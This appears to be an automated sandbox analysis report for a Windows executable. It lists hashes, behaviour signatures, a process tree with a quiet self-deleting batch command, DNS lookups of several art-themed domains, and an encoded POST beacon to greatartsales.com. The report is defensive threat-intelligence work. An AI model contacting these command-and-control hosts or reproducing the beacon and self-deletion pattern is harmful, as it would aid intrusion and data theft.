Analysis

  • max time kernel
    119s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    02/10/2024, 01:30 UTC

General

  • Target

    0842d0e432180b0780236096c2189761_JaffaCakes118.exe

  • Size

    98KB

  • MD5

    0842d0e432180b0780236096c2189761

  • SHA1

    5ef71995386f2cb5a1f38667ec1422c4a9ee05d8

  • SHA256

    e848da375e3761f95d614daa86de4ffb531246915364a6b1f1e52514ee0a60e3

  • SHA512

    a031eb7f5fb3bebb66d5cbd561d3bec3e9798cc15eeaedfc259705483300416363d1e5355dea98742156adc768dd570d52d84702c8b78c643b8f2b2a7fcf30a6

  • SSDEEP

    1536:8klgA+WDngGwcljJPeKhhJUdnpcGUwkH0CJeUjrtWHLEg0KfVIuk:ZlT+W73fpJPeEhOpctwgjrtWHLrVVk

Score
7/10

Malware Config

Signatures

  • Deletes itself 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\0842d0e432180b0780236096c2189761_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\0842d0e432180b0780236096c2189761_JaffaCakes118.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1644
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /q /c "C:\Users\Admin\AppData\Local\Temp\Wrf..bat" > nul 2> nul
      2⤵
      • Deletes itself
      • System Location Discovery: System Language Discovery
      PID:2384

Network

  • flag-us
    DNS
    bigshoeart.com
    0842d0e432180b0780236096c2189761_JaffaCakes118.exe
    Remote address:
    8.8.8.8:53
    Request
    bigshoeart.com
    IN A
    Response
  • flag-us
    DNS
    bigshoeart.com
    0842d0e432180b0780236096c2189761_JaffaCakes118.exe
    Remote address:
    8.8.8.8:53
    Request
    bigshoeart.com
    IN A
  • flag-us
    DNS
    houserockart.com
    0842d0e432180b0780236096c2189761_JaffaCakes118.exe
    Remote address:
    8.8.8.8:53
    Request
    houserockart.com
    IN A
    Response
  • flag-us
    DNS
    greatartsales.com
    0842d0e432180b0780236096c2189761_JaffaCakes118.exe
    Remote address:
    8.8.8.8:53
    Request
    greatartsales.com
    IN A
    Response
    greatartsales.com
    IN A
    216.239.36.21
    greatartsales.com
    IN A
    216.239.38.21
    greatartsales.com
    IN A
    216.239.34.21
    greatartsales.com
    IN A
    216.239.32.21
  • flag-us
    POST
    http://greatartsales.com/wd.php?w=v22MyGK1TdahDGVg6wYVFrs4P7C4ItRvPtBZGHN2eUlUCgOAhUHVyz31AlrHIQqMgMqV750TfwiBMF4bFG3zfIiRtufQpaX/MftqvO7plw==
    0842d0e432180b0780236096c2189761_JaffaCakes118.exe
    Remote address:
    216.239.36.21:80
    Request
    POST /wd.php?w=v22MyGK1TdahDGVg6wYVFrs4P7C4ItRvPtBZGHN2eUlUCgOAhUHVyz31AlrHIQqMgMqV750TfwiBMF4bFG3zfIiRtufQpaX/MftqvO7plw== HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    Host: greatartsales.com
    User-Agent: Mozilla/6.0 (Windows; wget 3.0)
    Content-Length: 101
    Connection: close
    Cache-Control: no-cache
    Response
    HTTP/1.1 404 Not Found
    Date: Wed, 02 Oct 2024 01:31:06 GMT
    Content-Type: text/html; charset=UTF-8
    Server: ghs
    Content-Length: 1678
    X-XSS-Protection: 0
    X-Frame-Options: SAMEORIGIN
    Connection: close
  • 216.239.36.21:80
    http://greatartsales.com/wd.php?w=v22MyGK1TdahDGVg6wYVFrs4P7C4ItRvPtBZGHN2eUlUCgOAhUHVyz31AlrHIQqMgMqV750TfwiBMF4bFG3zfIiRtufQpaX/MftqvO7plw==
    http
    0842d0e432180b0780236096c2189761_JaffaCakes118.exe
    697 B
    2.1kB
    6
    6

    HTTP Request

    POST http://greatartsales.com/wd.php?w=v22MyGK1TdahDGVg6wYVFrs4P7C4ItRvPtBZGHN2eUlUCgOAhUHVyz31AlrHIQqMgMqV750TfwiBMF4bFG3zfIiRtufQpaX/MftqvO7plw==

    HTTP Response

    404
  • 8.8.8.8:53
    bigshoeart.com
    dns
    0842d0e432180b0780236096c2189761_JaffaCakes118.exe
    120 B
    133 B
    2
    1

    DNS Request

    bigshoeart.com

    DNS Request

    bigshoeart.com

  • 8.8.8.8:53
    houserockart.com
    dns
    0842d0e432180b0780236096c2189761_JaffaCakes118.exe
    62 B
    135 B
    1
    1

    DNS Request

    houserockart.com

  • 8.8.8.8:53
    greatartsales.com
    dns
    0842d0e432180b0780236096c2189761_JaffaCakes118.exe
    63 B
    127 B
    1
    1

    DNS Request

    greatartsales.com

    DNS Response

    216.239.36.21
    216.239.38.21
    216.239.34.21
    216.239.32.21

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\Wrf..bat

    Filesize

    238B

    MD5

    ed961bc3e75b797a791ac2b0664aba08

    SHA1

    8866fc81db6d984f1f1c4cedfe4daa68071b88c7

    SHA256

    c0190bcaadf1c510ed0a38dac501d70b4a71dd9be17b547bb267272eb200860c

    SHA512

    5261928d8dd4904b0ecceb313befe517726cd17e6a4d25445c1840e2fab50e6277e5025ef72f5c58d3445155cd53974065e3f78c4f03ffce823aab8480f133aa

  • memory/1644-0-0x0000000000220000-0x0000000000230000-memory.dmp

    Filesize

    64KB

  • memory/1644-1-0x0000000000400000-0x000000000041A000-memory.dmp

    Filesize

    104KB

  • memory/1644-3-0x0000000000400000-0x000000000041A000-memory.dmp

    Filesize

    104KB

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